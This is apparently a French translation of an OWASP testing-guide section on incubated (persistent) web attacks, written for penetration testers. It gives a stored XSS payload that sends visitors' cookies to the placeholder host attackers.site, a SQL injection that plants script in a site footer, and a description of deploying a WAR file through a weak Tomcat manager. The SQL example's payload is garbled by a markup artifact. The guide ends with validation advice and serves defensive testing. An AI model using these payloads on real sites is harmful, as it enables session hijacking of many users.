Également souvent désignés comme attaques persistantes, les tests des vulnérabilités incubées est une méthode d'analyse complexe qui nécessite plus d'une vulnérabilité de validation des données pour fonctionner. Cette section décrit un ensemble d'exemples pour tester les vulnérabilités incubées.
L'exploitation de quelques vulnérabilités, ou des caractéristiques fonctionnelles même d'une application web, permettra à un attaquant de planter une partie des données qui seront ensuite récupérées par un utilisateur non averti ou un autre composant du système, en exploitant une vulnérabilité.
Dans un test de pénétration, les attaques incubées peuvent être utilisées pour évaluer la criticité de certains bugs, en utilisant le problème de sécurité trouvé pour construire une attaque côté client basée sur ce que sera habituellement utilisé pour cibler un grand nombre de victimes en même temps (c-à-d tous les utilisateurs du site).
Ce type d'attaque asynchrone couvre un large spectre de vecteurs d'attaque, dont les suivantes:
Vérifier le type de contenu autorisé au téléchargement par l'application Web et l'URL d'upload qui en résulte. Uploader un fichier qui exploitera un composant dans le poste de travail utilisateur local lorsqu'il est consulté ou téléchargé par l'utilisateur.
Envoyer à votre victime un e-mail ou toute autre sorte d'alerte afin de l'amener à parcourir la page.
Le résultat attendu sera déclenché lorsque l'utilisateur provoquera l'exécution du fichier malveillant en parcourant la page résultante ou les téléchargements du site de confiance.
1. Introduire le code JavaScript comme valeur dans le champ vulnérables, par exemple:
<nowiki><script>document.write('<img src="http://attackers.site/cv.jpg?'+document.cookie+'">')</script></nowiki>
2. Inciter les utilisateurs à parcourir la page vulnérable ou attendre que les utilisateurs la parcourent. Un «listener» sur l'hôte attackers.site doit être à l'écoute de toutes les connexions entrantes.
3. Lorsque les utilisateurs parcourent la page vulnérable, une requête contenant leur cookie (document.cookie est inclus dans le framework de l'URL demandée) sera envoyée à l'hôte attackers.site, comme ce qui suit:
- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;
%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;
TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1
4. Utiliser les cookies obtenus des utilisateurs pour usurper l'identité sur le site vulnérable.
Habituellement, cette exemple s'appuie sur les attaques XSS en exploitant une vulnérabilité par injection SQL. La première chose à vérifier est de savoir si le site cible a une vulnérabilité d'injection SQL. Cette opération est décrite à la section testing_for_sql_injection. Pour chaque vulnérabilité par injection SQL, il existe un ensemble sous-jacent de contraintes décrivant le type de requêtes que l'attaquant / le pen testeur est autorisé à faire. Le testeur doit ensuite faire correspondre les attaques XSS qu'il a élaboré avec les entrées qu'il est autorisé à insérer.
1. De la même manière que dans l'exemple XSS précédent, utiliser un champ de la page web vulnérable à des problèmes d'injection SQL pour modifier une valeur dans la base de données qui sera utilisé par l'application en entrée sur le site sans filtrage adéquat (ce qui serait une combinaison d'une faille d'injection SQL et XSS). Par exemple, supposons qu'il y a une table « footer” dans la base de données avec tous les pieds de page pour les pages du site, dans laquelle on trouve un champ « notice” qui permet de notifier l'avis juridique qui apparaît au bas de chaque page Web. Vous pouvez utiliser la requête suivante pour injecter du code JavaScript dans le champs « notice » de la table « footer » dans la base de données.
SELECT field1, field2, field3
FROM table_x
WHERE field2 = 'x';
UPDATE footer
SET notice = 'Copyright 1999-2030%20
<__yamdwe_nowiki>1</__yamdwe_nowiki>
WHERE notice = 'Copyright 1999-2030';
2. Maintenant, chaque utilisateur qui navigue sur le site va envoyé ses témoins vers attackers.site (étapes b.2 à b.4).
Certains serveurs Web présentent une interface d'administration qui peut permettre à un attaquant de télécharger des composants actifs de son choix sur le site. Cela pourrait être le cas avec un serveur Apache Tomcat qui n'applique pas de solides identifications pour accéder à son gestionnaire d'applications Web (ou si les testeurs ont pu obtenir des informations d'identification valides pour le module d'administration par d'autres moyens). Dans ce cas, un fichier WAR peut être téléchargé et une nouvelle application Web déployée sur le site, ce qui permettra non seulement au testeur d'exécuter le code de son choix localement sur le serveur, mais aussi de planter une application du site à laquelle les utilisateurs réguliers du site ont souvent accès .
Les serveurs qui donnent à l'attaquant la permission d'écrire sur la racine (Webroot) ,permettent également la réalisation d'une attaque incubée, car cela offre la possibilité de modifier le contenu des pages Web sur le serveur, via des vulnérabilités qui pourraient s'y trouver(en fait, il s'agit d'une méthode d'infection connue permettant l'injection de vers (worms) dans des serveurs Web).
Les techniques de test boite grise / blanche sont les mêmes que précédemment.
L'examen de la validation de l'entrée est un élément clé dans la lutte contre cette vulnérabilité. Si d'autres systèmes de l'entreprise utilisent la même couche de persistance ils peuvent avoir des mécanismes de validation d'entrée faibles et les données peuvent être injectées via une “porte dérobée”. Pour lutter contre la “porte dérobée” dans des attaques côté client, la validation de sortie doit également être utilisée afin que les données souillées soient codées avant d'être affichées, et donc pas exécutées. Voir la section Validation des données (data_validation) du guide de révision du Code.
La plupart des références de la section de script inter-sites sont valides. Comme expliqué plus haut, les attaques incubées sont exécutées lorsque l'on combine des exploits tels que les attaques XSS ou par injection SQL.